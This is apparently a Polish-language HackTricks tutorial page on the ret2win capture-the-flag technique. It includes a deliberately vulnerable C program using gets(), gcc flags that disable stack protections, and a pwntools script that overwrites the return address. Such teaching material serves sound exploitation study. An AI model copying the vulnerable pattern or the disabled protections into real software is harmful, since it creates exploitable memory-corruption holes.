.. | ||
README.md | ||
ret2win-arm64.md |
Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Podstawowe informacje
Ret2win to popularna kategoria wyzwań w Capture The Flag (CTF), szczególnie w zadaniach związanych z binary exploitation. Celem jest wykorzystanie luki w danym binarnym pliku, aby wykonać określoną, niewywołaną funkcję w tym pliku, często nazywaną win
, flag
itp. Ta funkcja, po wykonaniu, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu adresu powrotu na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:
Przykład w C
Rozważmy prosty program w C z luką i funkcją win
, którą zamierzamy wywołać:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Aby skompilować ten program bez ochrony stosu i z wyłączonym ASLR, możesz użyć następującego polecenia:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Kompiluj program jako 32-bitowy plik binarny (to jest opcjonalne, ale powszechne w wyzwaniach CTF).-fno-stack-protector
: Wyłącz ochronę przed przepełnieniem stosu.-z execstack
: Zezwól na wykonywanie kodu na stosie.-no-pie
: Wyłącz Position Independent Executable, aby upewnić się, że adres funkcjiwin
się nie zmienia.-o vulnerable
: Nazwij plik wyjściowyvulnerable
.
Python Exploit używając Pwntools
Do exploitacji użyjemy pwntools, potężnego frameworka CTF do pisania exploitów. Skrypt exploitowy stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Aby znaleźć adres funkcji win
, możesz użyć gdb, objdump lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z objdump
możesz użyć:
objdump -d vulnerable | grep win
To polecenie pokaże Ci asembler funkcji win
, w tym jej adres początkowy.
Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez vulnerable_function
, przepełnia bufor i nadpisuje adres powrotu na stosie adresem win
. Gdy vulnerable_function
zwraca, zamiast wracać do main
lub kończyć, skacze do win
, a wiadomość jest drukowana.
Ochrony
- PIE powinno być wyłączone, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś leaku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcja, która powoduje przepełnienie, to
read
lub podobna, możesz wykonać Częściowe Nadpisanie 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje 1/16 szansy (1 nibble), aby uzyskać poprawny adres powrotu. - Stack Canaries również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
Inne przykłady i odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bity, bez ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bity z ASLR, z leakiem adresu bin
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bity, bez ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnia stos i zwiększa rozmiar drugiego przepełnienia
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bity, relro, bez canary, nx, bez pie, format string do nadpisania adresu
fflush
funkcją win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) do wywołania funkcji win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) do wywołania funkcji win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Program tylko waliduje ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego możliwe jest dodanie dowolnego rozmiaru, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście tworzy przepełnienie bufora wykorzystane z ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bity, relro, bez canary, nx, pie. Częściowe nadpisanie, aby wywołać funkcję win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, daje wyciek PIE, funkcja win to tak naprawdę 2 funkcje, więc gadżet ROP, który wywołuje 2 funkcje
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one do wywołania funkcji win
Przykład ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów github.